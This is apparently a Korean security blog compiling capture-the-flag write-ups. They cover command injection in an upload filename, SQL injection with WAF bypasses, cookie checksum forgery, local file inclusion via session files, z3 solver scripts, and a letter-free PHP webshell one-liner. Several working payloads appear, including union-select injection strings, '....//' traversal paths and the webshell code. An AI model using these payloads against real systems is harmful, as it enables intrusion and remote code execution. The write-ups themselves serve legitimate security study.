문제에 들어가보면 간단한 파일 업로드 페이지가 나온다.

 

업로드를 해보면 화이트리스트 형태로 이미지파일 확장자 검사와 실제 파일이 이미지파일인지 내용까지 체크를 하고있어 웹쉘을 올리는 식으로는 해결이 안되지만 파일이름에서 커멘드 인젝션이 먹힌다.

 

커멘드 인젝션같은 경우 & ; | %0a `` 요렇게 다 안먹히지만 $() 요게 먹혀서 이걸로 명령어 실행이 가능했다.

 

이제 이걸로 플래그파일만 찾으면 되는데 문제가 두 가지 정도 있었다.

먼저 파일이름에서 / , \가 나오면 가장 마지막 요 문자부터 인식을 해서 경로 이동이 안되는 상황이었고 다음으로 명령어 실행결과가 가장 최상위 한줄만 출력이되서 ls로 현재 디렉토리 파일목록조차 볼 수 없었다.

 

그래서 일단 플래그가 현재 명령어가 실행되는 디렉토리에 있다고 가정하고 cat fl* 이런식으로 쳐봤더니 플래그가 나왔다.

 



'CTF > Writeup' 카테고리의 다른 글

InCTF 2018 WildCat  (0) 2018.10.08
InCTF 2018 S3cur3 Bank  (0) 2018.10.08
D-CTF Quals 2018 secops  (0) 2018.09.26
D-CTF Quals 2018 Get Admin  (0) 2018.09.24
Codegate 2018 CTF RedVelvet  (0) 2018.09.18
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 문제는 대회기간에는 못풀었다가 추후에 풀게되었다.


먼저 문제에 들어가보면 아래와 같이 set as flair라는 버튼하나가 존재하고 별도의 기능은 없다. 




버튼을 눌러보면 아래와 같이 쿠키 값 내 prefs값에 json형태의 값을 넘기고 있었고 번호가 4번일 경우 Flag라는 값을 뿌려주고 있는걸 볼 수 있었다.






일단 의심가는게 SQLI여서 아래와 같이 싱글쿼터를 삽입해보니 에러가 터지는걸 볼 수 있었다.




이제 문제는 데이터를 뽑을 수 있는 구문이 필요했는데 union이든 blind든 죄다 WAF에 막혀서 도저히 우회할 방법이 안떠올랐다. 그러다가 구문 필터 우회말고 WAF자체를 우회하려고 이것저것 시도해보다가 중복 파라미터 기법으로 아래와 같이 입력해주면 인젝션 구문이 먹히는걸 볼 수 있었다.

WAF쪽에서는 먼저 입력된 파라미터 쪽 구문으로 필터를 하고 서버 쪽에선 뒤쪽파라미터 값이 먹히는 상황이었다. 근데 의문인게 먼저 입력된 파라미터 쪽에서 싱글쿼터가 들어갔을 때만 위의 현상이 발생했는데 이건 정확히 왜 그런지는 모르겠다.


어쨋든 인젝션 구문을 삽입할 수 있어서 데이터만 뽑아보면 되겠다 했는데 union구문은 union select까진 우회가 되는데 from절부터는 우회를 못회서 블라인드로 뽑아야 되는 상황이었다. 근데 information_schema가 필터당하고 있었고 mysql db쪽은 권한이 없는지 버전이 없어서 존재하지 않는지 접근이 안되서 innodb_table_stats 류로 테이블을 뽑을 수도 없는 상황이었다. 그래서 처음엔 4') and (select 1 from bruteforce_table)=1%23 이런식으로 에러안터질때까지 테이블명을 bruteforce해봤는데 잘안나와서 컬럼명쪽을 바로 찾아보다가 아래와 같이 flag라는 컬럼이 있는걸 볼 수 있었다.



여기서부터는 substring, ascii 등 대부분의 함수들이 필터를 안당해서 그냥 데이터쭉 뽑아서 플래그 값을 찾았다.



[*]Find Flag = DCTF{346cb556a97a4396c7c09461344dc680e5446eea42788fbd729d877d1c75691b}

'CTF > Writeup' 카테고리의 다른 글

InCTF 2018 S3cur3 Bank  (0) 2018.10.08
InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
D-CTF Quals 2018 Get Admin  (0) 2018.09.24
Codegate 2018 CTF RedVelvet  (0) 2018.09.18
BugsBunny CTF 2017 Rev150  (0) 2018.09.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

하루동안 날잡고 웹 파트랑 리버싱 점수 낮은것만 풀어보자하고 내내봤는데 유일하게 푼 웹 문제고 딱 하나밖에 풀지못해 자괴감이 들었지만 해당문제를 엄청 고생끝에 풀어서 기분이 좋았다.

   

해당 문제는 들어가보면 전체 소스코드를 제공해주고 있어 소스코드 오디팅 방식으로 취약점을 찾으면 된다.


일단 플래그를 얻으려면 아래와 같이 admin.php에 접근할때 세션 값 중 userid가 1이 세팅되어 있어야 한다.



그럼 이 값이 어떻게 세팅되는지를 알아야하는데 코드를 살펴보면 아래와 같은 형태로 진행이 된다. 

먼저 세션이 할당되어있을때와 되어있지 않을때 로직이 나뉘어져 있는데 세션이 할당되지 않은 상태에서는 로그인 계정정보를 가지고 authenticate 함수를 호출해서 userid 세션값을 세팅한다. 여기서 SQLI가 터지면 리턴값을 조작할 수 있겠다 했지만 역시나 SQLI는 터지지않았고 나머지 로직을 살펴보기로 했다.




다음으로 세션이 존재하지 않을때를 보면 쿠키 값중 user값을 decryptCookie 함수에 인자로 사용하여 리턴된 값을 통해 userid값이 세팅된다. 일단 decryptCookie  함수를 살펴보니 config.php 파일에서 아래와 같은 구조로 암복호화가 이루어지고 있었다.



암복호화 과정을 간단히 살펴보면 먼저 암호화 시에는 사용자 정보 배열(userid값,유저명,이메일)을 compress함수를 통해 직렬화된 형태의 문자열 데이터로 변환한 뒤 이 문자열 값을 crc32 처리해서 체크섬값을 세팅해 최종적으로  userid값,유저명,이메일,체크섬 형태의 배열을 만들고 이 배열을 다시 compress함수에 넣어 직렬화된 문자열 데이터 형태로 만들어 대칭키 암호화방식에 cbc 모드로 암호화를 진행한다. 그리고 이 때 암호화된 데이터의 길이를 암호화 값 마지막 6바이트영역에 추가해주게 된다.


다음으로 중요하게 봐야할 복호화 과정을 보면 위에서 만든 암호화 값을 받아와서 마지막 6바이트 영역의 길이부분을 떼어낸 뒤 복호화를 진행하고 복호화한 값을 6바이트 영역의 길이 값만큼 substring처리해서 직렬화된 형태의 문자열을 decompress 함수내에서 배열형태로 변환한다. 이 때 배열 내 저장되어있는 checksum값과 checksum 값을 제외한 나머지 값(userid값,유저명,이메일)로 다시 checksum값을 만들어 이 둘을 비교해 암호화된 데이터가 변조되어있는지 확인한다.


여기까지 분석하고 처음 든 생각은 Oracle Padding Attack으로 암호화된 값을 복호화한 뒤 userid값과 checksum값을 변조하면 되겠다고 생각이 들었다.


그래서 padbuster로 일단 암호화된 값을 복호화했더니 내가 옵션을 잘못준건지 잘못사용한건진 몰라도 복호화된 값이 아래와 같은 형태로 username 키 값과 그 전의 id값이 잘린채 깨져서 나왔다.


e¡youngsin÷email¡youngsin@naver.com÷checksum¡÷338124513 


한번정도 더 시도해봤는데 결과가 같았고 한번 복호화하는데 시간도 너무 오래걸려서 그사이 코드를 한번더 유심히 보다가 username,emali값을 통해 아래와 같은 식으로 id값을 덮을 수 있겠다 싶었고 이걸로 뭔가 익스가 가능할 것 같다는 느낌이 들어서 테스트를 시작해봤다.


내가 정상적으로 계정 생성 후 로그인을 할 경우 암호화되는 평문 값은 아래와 같은 형태일 것이다.

id¡1500÷username¡youngsin÷email¡youngsin@naver.com÷checksum¡÷338124513 


여기서 나는 가입할 계정 및 이메일을 입력할 때 별도의 필터링 구문이 없기 때문에 youngsin@naver.com÷id¡1 요런식으로 가입을 해주면 아래와 같은 형태로 암호화될 평문 값이 세팅될 것이다.


id¡1500÷username¡youngsin÷email¡youngsin@naver.com÷id¡1÷checksum¡÷338124513 


여기서 이 문자열 값은 decompress 함수내에서 배열로 변환되면서 아래의 코드에 의해 중복된 키 값이 가장 뒤에값으로 세팅되어 id값이 1이 되게된다.



 

이를 통해 id를 덮을 수 있다는걸 알았고 이제 문제는 checksum 값이었는데 checksum값 같은 경우 내가 입력한 값보다 뒤쪽에 존재해 값을 덮을 수가 없었다. 그러나 이 때 굳이 왜 암호화 길이를 세팅해서 추가해놨지 했던 부분이 떠올랐고 이걸 이용하면 뒤쪽에 적용되어있는 기존 checksum값을 잘라내고 내가 입력한 checksum값이 적용되게 할 수 있겠구나 생각이 들었다. 그래서 이 시나리오대로 아래와 같은 형태로 공격을 진행했다.


1. 회원가입 시 이메일 값을 다음과 같이 세팅

ssrjys1@naver.com÷id¡1÷checksum¡2486825947


2. 가입한 계정으로 로그인하여 암호화된 값 획득


3. 로그아웃 후 암호화된 값에서 길이 값을 줄여가며 decrypt 에러가 안뜨는 길이 값을 찾음.


4. 3번에서 찾은 값으로 index.php를 접근하면 세션 내 userid값이 1로 세팅되어서 플래그 출력


 

1) 이메일 값에 조작한 값을 삽입하여 가입 시도



2) 가입한 계정으로 로그인하여 조작한 평문이 담긴 암호화값 획득



3)암호화 값에서 길이영역을 조작하여 Decrypt 에러가 안터지는 길이 값 확인(원본 checksum값이 정확히 잘린 시점의 값)



4) 3번에서 구한 암호화 값으로 index.php 접근 시도(로그아웃 후 진행하여 세션 값내 userid값이 세팅되어 있지 않아야함)



5) 조작한 암호화 값이 Decrypt되면서 세션 내 userid 값이 1로 세팅되어 플래그 출력











'CTF > Writeup' 카테고리의 다른 글

InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
D-CTF Quals 2018 secops  (0) 2018.09.26
Codegate 2018 CTF RedVelvet  (0) 2018.09.18
BugsBunny CTF 2017 Rev150  (0) 2018.09.17
LAYER7 CTF 2018 Margaret  (0) 2018.09.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

코드를 보면 대충 입력값을 15개 함수를 통해 연산을 하고 이에 만족하는 값을 구해주면 된다. 간단히 z3나 angr로 풀면되는데 angr는 아직 제대로 써보질 못해서 일단 z3로 풀었다. angr도 익혀서 담에 풀어봐야겠다.


from z3 import *

input= []
for i in xrange(26):
input.append(z3.BitVec('input[' + str(i) + ']',16))

s = Solver()

s.add(input[0] * 2 * (input[1] ^ input[0]) - input[1] == 10858)
s.add(input[0] > 85)
s.add(input[0] <= 95)
s.add(input[1] > 96)
s.add(input[1] <= 111)
s.add(input[1] % input[2] == 7)
s.add(input[2] > 90)
s.add(input[2] / input[3] + (input[3] ^ input[2]) == 21)
s.add(input[2] <= 99)
s.add(input[3] <= 119)
s.add(input[3] > 115)
s.add(input[4] <= 99)
s.add(input[4] == 95)
s.add(((input[5] + input[4]) ^ (input[4] ^ input[5] ^ input[4])) == 225)
s.add(input[5] <= 89)
s.add(input[5] <= input[6])
s.add(input[6] <= input[7])
s.add(input[5] > 85)
s.add(input[6] > 110)
s.add(input[7] > 115)
s.add(((input[6] + input[7]) ^ (input[5] + input[6])) == 44)
s.add((input[6] + input[7]) % input[5] + input[6] == 161)
s.add(input[7] >= input[8])
s.add(input[8] >= input[9])
s.add(input[7] <= 119)
s.add(input[8] > 90)
s.add(input[9] <= 89)
s.add(((input[7] + input[9]) ^ (input[8] + input[9])) == 122)
s.add((input[7] + input[9]) % input[8] + input[9] == 101)
s.add(input[9] <= input[10])
s.add(input[10] <= input[11])
s.add(input[11] <= 114)
s.add((input[9] + input[10]) / input[11] * input[10] == 97)
s.add((input[11] ^ (input[9] - input[10])) * input[10] == -10088)
s.add(input[11] <= 114)
s.add(input[11] == input[12])
s.add(input[12] >= input[13])
s.add(input[13] <= 99)
s.add(input[13] + input[11] * (input[13] - input[12]) - input[11] == -1443)
s.add(input[13] >= input[14])
s.add(input[14] >= input[15])
s.add(input[14] * (input[13] + input[15] + 1) - input[15] == 15514)
s.add(input[14] > 90)
s.add(input[14] <= 99)
s.add(input[16] >= input[15])
s.add(input[15] >= input[17])
s.add(input[16] > 100)
s.add(input[16] <= 104)
s.add(input[15] + (input[16] ^ (input[16] - input[17])) - input[17] == 70)
s.add((input[16] + input[17]) / input[15] + input[15] == 68)
s.add(input[17] >= input[18])
s.add(input[18] >= input[19])
s.add(input[18] <= 59)
s.add(input[19] <= 44)
s.add(input[17] + (input[18] ^ (input[19] + input[18])) - input[19] == 111)
s.add((input[18] ^ (input[18] - input[19])) + input[18] == 101)
s.add(input[19] <= input[20])
s.add(input[20] <= input[21])
s.add(input[19] > 40)
s.add(input[20] > 90)
s.add(input[21] <= 109)
s.add(input[21] + (input[20] ^ (input[21] + input[19])) - input[19] == 269)
s.add((input[21] ^ (input[20] - input[19])) + input[20] == 185)
s.add(input[21] >= input[23])
s.add(input[22] >= input[23])
s.add(input[22] <= 99)
s.add(input[23] > 90)
s.add(input[21] + (input[22] ^ (input[22] + input[21])) - input[23] == 185)
s.add(input[24] >= input[25])
s.add(input[24] >= input[23])
s.add(input[25] > 95)
s.add(input[24] <= 109)
s.add(((input[24] - input[23]) * input[24] ^ input[25]) - input[23] == 1214)
s.add(((input[25] - input[24]) * input[25] ^ input[23]) + input[24] == -1034)

flag = ""

if s.check() == z3.sat:
try:
m = s.model()
for i in range(0, 26):
flag += chr(int(str(m[input[i]])))
print flag
except:
print "Not Found"

Flag = What_You_Wanna_Be?:)_la_la

'CTF > Writeup' 카테고리의 다른 글

D-CTF Quals 2018 secops  (0) 2018.09.26
D-CTF Quals 2018 Get Admin  (0) 2018.09.24
BugsBunny CTF 2017 Rev150  (0) 2018.09.17
LAYER7 CTF 2018 Margaret  (0) 2018.09.17
LAYER7 CTF 2018 url routing  (0) 2018.09.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

바이너리는 64bit elf 파일이고 메인함수를 보면 입력값을 받아서 아래와 같이 여러함수를 거친 후 플래그를 출력해준다.



먼저 numeric 함수를 보면 입력값에서 48을 뺀 값이 9이하인지 확인을 한다. 이를 통해 입력값이 0~9까지의 숫자여야 한다는걸 알 수 있다.



이후 함수들에 대해 분석해보면 각 함수별로 입력값을 통해 여러가지 연산을 하고 있는데 z3로 각 연산에 만족하는 수를 구해주면 된다.


중간에 결과값이 0인 연산과 같은 경우 a[11]이 0일 것이기 때문에 제외한 후 따로 s.add((a[11] - 48) == 0) 요렇게 a[11]을 0으로 지정해줬다. 


from z3 import *

a = []
s = Solver()
for i in range(0,20):
a.append(BitVec('a['+str(i)+']',8))
s.add(a[i]<=57,a[i]>=48)

s.add((a[11] - 48) == 0)
s.add((a[15] - 48 + a[4] - 48) == 10)
s.add((a[1] - 48) * (a[18] - 48) == 2)
s.add((a[15] - 48) / (a[9] - 48) == 1)
s.add(a[5] - a[17] == -1)
s.add(a[15] - a[1] == 5)
s.add((a[1] - 48) * (a[10] - 48) == 18)
s.add(a[8] - 48 + a[13] - 48 == 14)
s.add((a[18] - 48) * (a[8] - 48) == 5)
#s.add((a[4] - 48) * (a[11] - 48) == 0)
s.add(a[8] - 48 + a[9] - 48 == 12)
s.add(a[12] - a[19] == 1)
s.add((a[9] - 48) % (a[17] - 48) == 7)
s.add((a[14] - 48) * (a[16] - 48) == 40)
s.add(a[7] - a[4] == 1)
s.add(a[6] - 48 + a[0] - 48 == 6)
s.add(a[2] == a[16])
s.add(a[4] - a[6] == 1)
s.add((a[0] - 48) % (a[5] - 48) == 4)
#s.add((a[5] - 48) * (a[11] - 48) == 0)
s.add((a[10] - 48) % (a[15] - 48) == 2)
#s.add((a[11] - 48) / (a[3] - 48) == 0)
s.add(a[14] - a[13] == -4)
s.add(a[18] - 48 + a[19] - 48 == 3)
s.add(a[3] - 48 + a[17] - 48 == 9)

flag = ""

if s.check() == z3.sat:
try:
m = s.model()
for i in range(0, 20):
flag += chr(int(str(m[a[i]])))
print "Flag = " + flag
except:
print "Not Found"

Flag = 42813724579039578812














'CTF > Writeup' 카테고리의 다른 글

D-CTF Quals 2018 Get Admin  (0) 2018.09.24
Codegate 2018 CTF RedVelvet  (0) 2018.09.18
LAYER7 CTF 2018 Margaret  (0) 2018.09.17
LAYER7 CTF 2018 url routing  (0) 2018.09.17
Meepwn CTF Quals 2018 OmegaSector  (0) 2018.07.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 문제와 같은 경우 소스코드를 제공해 주고 있어서 다운받아 분석을 해봤다.


전체적인 흐름은 간단한 PHP MVC 형태의 웹 어플리케이션인데 일단 코드상에서 취약점이 터질만 한건  SQLI랑 LFI 두개 정도였다. 둘 다 해당 취약점들에 대해 필터링하는 코드들이 존재하고 있었고 SQLI는 아무리봐도 트릭류로 우회가 가능할 것 같은게 보이지가 않아서 일단 접어놓고 LFI쪽으로 계속 분석을 해봤다.


일단 필터코드는 아래와 같은 형태로 함수가 존재했다.



일단 상위경로같은 경우는 단순 치환이라 ....//같은 형태로 우회가 가능했고  NULL값을 치환하고 맨뒤 4글자가 html인지 확인하는건 로그인 시 세션 고정상태라 내가 요청한 값으로 세션이 세팅되서 세션파일로 우회하면 되겠다고 생각했다.


여기까지 생각하고 MVC형태에 맞춰서 아래와 같이 공격을 진행했다.


먼저 로그인 시 요청세션을 123html 요런식으로 보낸다음 아래와 같은 형태로 요청을 했다.


http://dm1536803965686.fun25.co.kr:23907/....//....//....//....//....//....//....//var/lib/php/sessions/sess_123html


요렇게 보내면 MVC 형태에 맞춰서 http://dm1536803965686.fun25.co.kr:23907/index.php?p=....//....//....//....//....//....//....//var/lib/php/sessions/sess_123html 요렇게 자동으로 rewrite처리되서 lfi가 터질거라고 생각했는데 잘 안됬다. 그래서 한참 고민하다가 아예 그냥 아래처럼 직접 index.php에 요청을 해봤더니 정상적으로 session파일이 include되는걸 볼 수 있었다.



이제 그냥 RCE하면 되겠다고 생각했는데 로그인할때 계정명에 공백이랑 _가 필터되고 있어서 아래와 같은 형태로 PHP Jail류 풀때 쓰던걸 떠올려서 로그인 계정 만들고 현재 디렉토리 내 파일을 봤더니 플래그가 있었다.

















'CTF > Writeup' 카테고리의 다른 글

Codegate 2018 CTF RedVelvet  (0) 2018.09.18
BugsBunny CTF 2017 Rev150  (0) 2018.09.17
LAYER7 CTF 2018 url routing  (0) 2018.09.17
Meepwn CTF Quals 2018 OmegaSector  (0) 2018.07.17
Meepwn CTF Quals 2018 Ezchallz  (0) 2018.07.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 다음과 같은 코드가 나온다.



코드를보면 GET 메소드 형태로 flag라는 파라미터가 존재해야 flag가 뿌려진다. 그러나 stripos로 내가 요청한 URI 값에 flag라는 파라미터가 존재할 경우 필터링이 되어진다. 

그러나 여기서 생각해볼 수 있는건 URI값을 가져올 때 $_SERVER['REQUEST_URI']를 통해 가져온다는 점이다. $_SERVER['REQUEST_URI']는 내가 요청한 URI를 URL 디코딩없이 그대로 가져온다. 이부분을 염두하면 아래와 같은 방식으로 필터링 우회가 가능해진다.


exploit :  ?fl%61g





'CTF > Writeup' 카테고리의 다른 글

BugsBunny CTF 2017 Rev150  (0) 2018.09.17
LAYER7 CTF 2018 Margaret  (0) 2018.09.17
Meepwn CTF Quals 2018 OmegaSector  (0) 2018.07.17
Meepwn CTF Quals 2018 Ezchallz  (0) 2018.07.16
ASIS 2018 CTF Good WAF  (0) 2018.05.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제 접속 후 주석을 보면 is_debug=1이라는 문구가 있고 이를 입력해보면 다음과 같이 php소스 코드를 확인할 수 있다.




<?php 

ob_start(); 

session_start(); 

?> 

<html> 

<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> 

<head> 

  <link rel="stylesheet" href="assets/omega_sector.css"> 

  <link rel="stylesheet" href="assets/tsu_effect.css"> 

</head> 


<?php 


ini_set("display_errors", 0); 

include('secret.php'); 


$remote=$_SERVER['REQUEST_URI']; 


if(strpos(urldecode($remote),'..')) 

mapl_die(); 


if(!parse_url($remote, PHP_URL_HOST)) 

    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; 

$whoareyou=parse_url($remote, PHP_URL_HOST); 



if($whoareyou==="alien.somewhere.meepwn.team") 

    if(!isset($_GET['alien'])) 

    { 

        $wrong = <<<EOF 

<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> 

<h1 id="main" class="shadow">Are You ALIEN??</h1> 

<form id="main"> 

    <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> 

    <button type="submit" class="button-error" name="alien" value="No">No</button> 

</form> 

<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 

EOF; 

        echo $wrong; 

    } 

    if(isset($_GET['alien']) and !empty($_GET['alien'])) 

    { 

         if($_GET['alien']==='@!#$@!@@') 

        { 

            $_SESSION['auth']=hash('sha256', 'alien'.$salt); 

            exit(header( "Location: alien_sector.php" )); 

        } 

        else 

        { 

            mapl_die(); 

        } 

    } 


elseif($whoareyou==="human.ludibrium.meepwn.team") 

     

    if(!isset($_GET['human'])) 

    { 

        echo ""; 

        $wrong = <<<EOF 

<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> 

<h1 id="main" class="shadow">Are You Human?</h1> 

<form id="main"> 

    <button type="submit" class="button-success" name="human" value="Yes">Yes</button> 

    <button type="submit" class="button-error" name="human" value="No">No</button> 

</form> 

<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 

EOF; 

        echo $wrong; 

    } 

    if(isset($_GET['human']) and !empty($_GET['human'])) 

    { 

         if($_GET['human']==='Yes') 

        { 

            $_SESSION['auth']=hash('sha256', 'human'.$salt); 

            exit(header( "Location: omega_sector.php" )); 

        } 

        else 

        { 

            mapl_die(); 

        } 

    } 


else 

    echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; 

    echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; 

    if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1") 

    { 

        show_source(__FILE__); 

    } 


?> 

<body background="assets/background.jpg" class="cenback"> 

</body> 

<!-- is_debug=1 --> 

<!-- All images/medias credit goes to nexon, wizet --> 

</html> 

<?php ob_end_flush(); ?> 



코드를 보면 URI 값을 parse_url의 인자로 넣고 호스트명을 구해오는데 요런식으로 입력해주면 조건에 만족하면서 아래와 같이 두개의 페이지에 접근이 가능해진다.




각 페이지 기능을 보면 위와같이 임의의 입력값을 넣어준뒤 Save버튼을 눌렀을때 아래와 같은 형태로 요청이 간다.



기능을보면 message 파라미터값이 파일내용에 삽입되고 type 파라미터값을 통해 파일확장자를 지정할 수 있다. 여기서그냥 파일내용에 php 코드 넣으면 끝나겠구나 생각했는데 큰 오산이었다. 위에서 리다이렉트된 두개의 페이지 각각 한군데는 파일내용에 문자,숫자만 쓸 수 있고 나머지 한군데는 특문만 쓸 수 있다는 필터조건이 걸려있었다.


문자,숫자만 가지고는 일단 php 시작코드인 <?를 어떻게할 방법이 없어보였고 특문만 가지고 웹쉘 명령어를 만들어야할 것 같았다.

php에서는 문자열(); 형태로 함수실행이 가능한 트릭이 있기 때문에 특문들을 비트연산을 통해 적절히 조절해서 내가원하는 함수의 문자열만 만들 수 있다면 충분히 가능할 거라 생각했다. 

여기까지 생각한뒤 여러가지 조합을통해 system , show_source 류의 문자열을 특문만가지고 만들어보려고 했는데 생각보다 쉽지가 않아서 이미 누군가 만들어논게 있을 것 같아서 찾다보니 요 사이트에서 특문만 가지고 만든 웹쉘 코드를 찾았다.


https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/


위 사이트에서 찾은 코드를 그대로 쓰려고 넣어보니 40글자 길이제한이 걸려있었다.


여기서 멘탈이 나갔다가 최대한 길이를 줄인 코드를 짜봤는데 대충 아래와 같은 형태였다.


<?=$_="_GET";${$_}{_}(${$_}{__});


위의 코드 중 "_GET"를 제외한 글자가 26글자였고 "_GET"을 특문 14글자로 구현만 가능하다면 익스플로잇이 가능할 거라고 생각했다. 여기서 특문으로 _GET을 만들어보려고 좀 해봤는데 생각처럼 잘 안되서 멘탈터져서 결국 롸업을 봤다. 코드자체는 생각했던 코드와 크게 다르지 않았고 "_GET"을 "`{{{"^"?<>/" 요런식으로 만들 수 있길래 그대로 가져다 썼다.

<?=$_="`{{{"^"?<>/";${$_}{_}(${$_}{__});



해당 기법은 실무에서도 php 웹쉘 업로드 시 웹방화벽 우회할 때 다양하게 응용가능할 것 같다. 














'CTF > Writeup' 카테고리의 다른 글

LAYER7 CTF 2018 Margaret  (0) 2018.09.17
LAYER7 CTF 2018 url routing  (0) 2018.09.17
Meepwn CTF Quals 2018 Ezchallz  (0) 2018.07.16
ASIS 2018 CTF Good WAF  (0) 2018.05.01
ASIS 2018 CTF Buy flags  (0) 2018.05.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 아래와 같이 두개의 페이지가 존재한다. Free register 페이지에 들어가보면 page 파라미터에서 LFI가 터지는걸 확인할 수 있었다.



http://206.189.92.209/ezchallz/index.php?page=php://filter/convert.base64-encode/resource=register 요런식으로 register.php 파일 소스코들 획득한 후 확인해보면 아래와 같았다.


<html>

<?php

error_reporting(0);


function gendirandshowflag($username) {

include('secret.php');

$dname = "";

$intro = "";

$_username = md5($username, $raw_output = TRUE);

for($i = 0; $i<strlen($salt); $i++) {

$dname.= chr(ord($salt[$i]) ^ ord($_username[$i]));

};

$dname = "users/" . bin2hex($dname);

echo 'You have successfully register as ' . $username . '!\n';

if ($_username === hex2bin('21232f297a57a5a743894a0e4a801fc3')) {

$intro = "Here is your flag:" . $flag;

}

else {

$intro = "Here is your flag, but I'm not sure 🤔: \nMeePwnCTF{" . md5(random_bytes(16) . $username) . "}";

}

mkdir($dname);

file_put_contents($dname . '/flag.php', $intro);

header("Location: ". $dname . "/flag.php");

}


if (isset($_POST['username'])) {

if ($_POST['username'] === 'admin') {

die('Username is not allowed!');

}

else {

gendirandshowflag($_POST['username']);

}

}

?>


        <form action="?page=register" method="POST">

        <input type="text" name="username"><br>

        <input type="submit" value="Register">

        </form>

</html>



코드를 분석해보면 입력한 username 값을 md5 byte처리한 값을 salt값과 xor한 뒤 hex처리한 값이 플래그가 저장되는 디렉토리가 되며 이 때 username의 md5 값이 21232f297a57a5a743894a0e4a801fc3이면 실제 flag가 존재하는 디렉토리의 flag.php에 접근이 가능해진다. 

21232f297a57a5a743894a0e4a801fc3 값을 복호화해보면 admin이라는 값이 나오는데 username으로 admin이 들어올 경우 필터링에 걸리게 된다.

즉 일반적인 방법으로는 접근이 불가하고 username이 admin일 경우 생성되는 디렉토리를 구해야 한다. 이 때 salt값이 secret.php에 정의되어있어 그냥 봤을땐 알 수가 없지만 우리는 


이 때 우리는 (내가 입력한 값) , (내가 입력한 값 xor salt) 두가지를 알 수 있기 때문에 xor 역역산을 통해 salt값을 구할 수 있다. 이렇게 salt값을 구하게 되면 성공값인 admin의 해쉬값과 salt를 xor해서 admin의 디렉토리명을 구할 수 있고 이를 통해 실제 flag.php에 접근이 가능해진다.


다음과 같이 간단히 코드를 짜서 디렉토리를 구했다.








 



'CTF > Writeup' 카테고리의 다른 글

LAYER7 CTF 2018 url routing  (0) 2018.09.17
Meepwn CTF Quals 2018 OmegaSector  (0) 2018.07.17
ASIS 2018 CTF Good WAF  (0) 2018.05.01
ASIS 2018 CTF Buy flags  (0) 2018.05.01
HITB-XCTF 2018 upload  (0) 2018.04.14
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 다음과 같은 페이지 하나만 떡하니 존재한다. 출력된 문구를 읽어보면 base64로 인코딩된 json객체 파라미터로 뉴스를 얻어온다 뭐 대충 이런뜻인것 같았다.


 

 

일단 object라는 파라미터가 존재하나 확인해보니 에러가 터지는걸 통해 실제로 존재하는걸 볼 수 있었다.

 

 

위의 문구에서 나온대로 해당 파라미터에 {"ssr":"ssr"}과 같이 json형태의 데이터를 base64인코딩해서 요청해 보니 다음과 같은 에러가 터지는걸 통해 data라는 키값이 존재하는걸 알 수 있었다.

 

 

위에서 알아낸 data키값에 {"data":"ssr"}를 넣고 날려보니 다음과 같이 data키의 값을 통해 디비에서 뉴스를 조회해서 뿌려주는 형태인걸 알 수 있었다.

 

 

여기서 인젝션터트리면 되겠다하고 {"data","' or 1=1-- x'} 이런식으로된 데이터를 base64인코딩해서 보내니 WAF에 걸렸다는 메시지가 나오는걸 볼 수 있었다.

 

 

문제이름도 Good WAF였던걸 보아 WAF만 우회해서 데이터 뽑아내면 될거라 생각하고 우회시도를 해봤는데 base64인코딩전 json 형태의 data키의 값 영역에서는 뭔짓을해도 우회가 힘들어보였다. 여기서 데이터를 굳이 Base64인코딩해서 넘기는 이유가 뭘까 생각하다가 base64인코딩전의 원본 데이터가 아닌 base64된 데이터자체를 waf에서 bypass할 수 있는 방법이 있나하고 이것저것 찾아보다 요런 트릭을 발견했다.

 

 

가능하다만 나와있고 정확히 어떠한 원리인지는 찾지 못했는데 이건 추후에 조금더 연구를 해봐야할 것 같다. 어쨋든 이 트릭을 써서 {"data":"' or 1=1-- x"} 요런식으로된 데이터를 날려보니 WAF 필터에 안걸리고 SQLi가 터지는걸 볼 수 있었다.

 

 

여기서부터는 SQLI로 데이터를 쭉쭉 뽑아줬다.

 

Table명

{"data","23423423' union select 'a',group_concat(table_name) from information_schema.tables where table_schema=database()-- x"} -> access_logs,credentials,news

 

credentials 테이블 칼럼명

{"data","23423423' union select 'a',group_concat(column_name) from information_schema.columns where table_name='credentials'-- x"} -> id,username,password,role

 

credentials 테이블 데이터

username = valid_user , password = 5f4dcc3b5aa765d61d8327deb882cf99

 

여기까지 뽑고 md5 해쉬값을 크랙해보니 password라는 평문값이 나왔다. 이제 이걸로 뭔가 로그인관련 행위를 하면 될 것 같았고 숨겨진 로그인페이지가 존재하는지 살펴봤다. 게싱해야되나 생각했다가 위에서 뽑은 테이블명중에 log테이블이 존재하길래 쭉 데이터를 보다보니 디비에 아래와 같은 로그데이터가 저장되어있었다. 

 

 

?action=log-in이라는 url이 요청된걸 볼 수 있었고 그대로 요청해보니 다음과 같은 에러가 나타났다.

 

 

